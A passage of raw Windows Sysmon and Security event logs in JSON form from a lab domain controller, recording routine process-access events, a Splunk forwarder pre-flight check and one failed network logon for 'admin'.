C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.890","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2140","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+261b7|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\combase.dll+1370|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221480,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59017\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59017","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.015\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nSourceProcessId: 4016\r\nSourceThreadId: 4020\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.015","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","SourceProcessId":"4016","SourceThreadId":"4020","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.108\r\nProcessGuid: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nProcessId: 4060\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.108","ProcessGuid":"{90617006-3FE6-5F2D-0000-0010F6130300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nTargetProcessId: 4060\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","TargetProcessId":"4060","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+eef54|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ebd15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nTargetProcessId: 4060\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","TargetProcessId":"4060","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: 